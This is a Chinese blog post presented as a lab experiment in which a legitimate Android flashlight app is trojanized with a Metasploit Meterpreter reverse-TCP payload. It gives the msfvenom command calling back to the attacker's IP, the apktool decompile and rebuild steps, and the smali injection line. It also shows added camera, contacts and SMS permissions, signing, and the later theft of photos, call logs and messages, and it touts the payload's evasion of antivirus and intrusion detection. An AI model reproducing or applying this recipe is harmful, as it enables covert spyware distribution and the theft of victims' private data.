木马渗透安卓系统实验

  • Post author:
  • Post category:其他



1.实验内容

Metasploit后门攻击实现远程控制Android手机


2.实验环境

设备

IP

子网掩码

Kali Linux(Hack)

222.20.78.6

255.255.248.0

Android(靶机)

10.11.63.254

255.255.240.0

Metasploit是在2004年8月,在拉斯维加斯如开了一次世界黑客交流会—黑帽简报(Black Hat Briefings)提出来的一款开源的安全漏洞检测工具,可以帮助用户识别安全问题,验证漏洞的缓解措施,并对某些软件进行安全性评估,提供真正的安全风险情报。Metasploit软件为它的基础功能提供了多个用户接口,包括终端、命令行和图形化界面等。生成木马文件。

MSF终端(MSFCONSOLE)是目前Metasploit框架最为流行的用户接口,而且也是非常灵活的。MSFCONSOLE主要用于管理Metasploit数据库,管理会话、配置并启动Metasploit模块。本质上来说,就是为了利用漏洞,MSFCONSOLE将获取用户连接到主机的信息,以至于用户能启动渗透攻击目标系统。

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。

实验流程图如下所示:


3.木马apk生成


1)apk文件准备

service postgresql start-启动postgresql数据库

Msfconsole–启动metasploit工具

msfvenom -p android/meterpreter/reverse_tcp LHOST=222.20.78.6 LPORT=5555 R > /root/apk.apk

reverse_tcp这是一个基于TCP的反向链接反弹shell,使用起来很稳定。此处LHOST为kali的ip,LPORT指定一个端口。/root/apk.apk为生成木马apk文件的路径及文件名。生成的apk文件大小为10083bytes。

在安卓应用市场下载一个安全的apk,文件名字为shoudiantong.apk。


2)Apktool反编译apk文件并注入木马

将步骤1)中的两个apk文件都放入同一文件夹中。通过以下操作指令进行反编译。

java -jar apktool_2.3.4.jar d -o outdir shoudiantong.apk

java -jar apktool_2.3.4.jar d -o apk apk.apk

得到反编译后的两个文件夹。

寻找shoudiantong.apk文件的入口,在outdir文件夹中的Manifest.xml文件中查找Main和Launch关键词,定位到所对应的启动smail文件。

打开com/tortoisekungfu/shoudiantong/MainActivety.smail文件,搜索onCreate函数,找到bundle对象,并在下面添加启动payload代码:

invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

将apk.apk反编译生成的文件夹中的smail/com/metasploit文件复制到shoudiantong.apk反编译生成的文件夹的smail/com/目录下。此时已经完成了将启动payload木马注入到正常的apk中。

3)权限设置:

安卓应用市场下载的手电筒应用所需要获取的手机权限有限,为了使得payload木马监听程序对手机能进行更多功能的控制,需要赋予该apk更多的权限。手电筒功能apk具有权限如图1所示。

图1 手电筒apk原有权限

额外补充的权限见下图,额外加入的权限包括了摄像头、联系人、短信等容易泄露个人隐私信息的功能的授权。额外授权如图2所示。

图2 额外授权

4)回编译

回编译生成注入了payload后门的apk,通过以下指令实现:

java -jar apktool_2.3.4.jar b outdir

其中指令中的outdir为反编译生成的文件夹路径,回编译生成的apk文件在outdir/dist目录下。

5)签名

没有签名的apk文件在手机上进行安装时会出现解析错误。通过以下指令生成KEYSTORE。

KEYSTORE:keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA -keysize 1024 -validity 22222

给apk文件签名:


4.手机安装apk测试



1)设置攻击机和端口号并启动:

2)显示正在监听靶机,当靶机中木马APK启动后,显示靶机和攻击机之间建立了连接。

3)查看手机系统信息:

4)查看手机摄像头信息:

5)调用摄像头拍照:

6)获取通话记录和短信记录:

通话记录:

短信记录:

7)停止监听,连接关闭:



版权声明:本文为polaris___原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。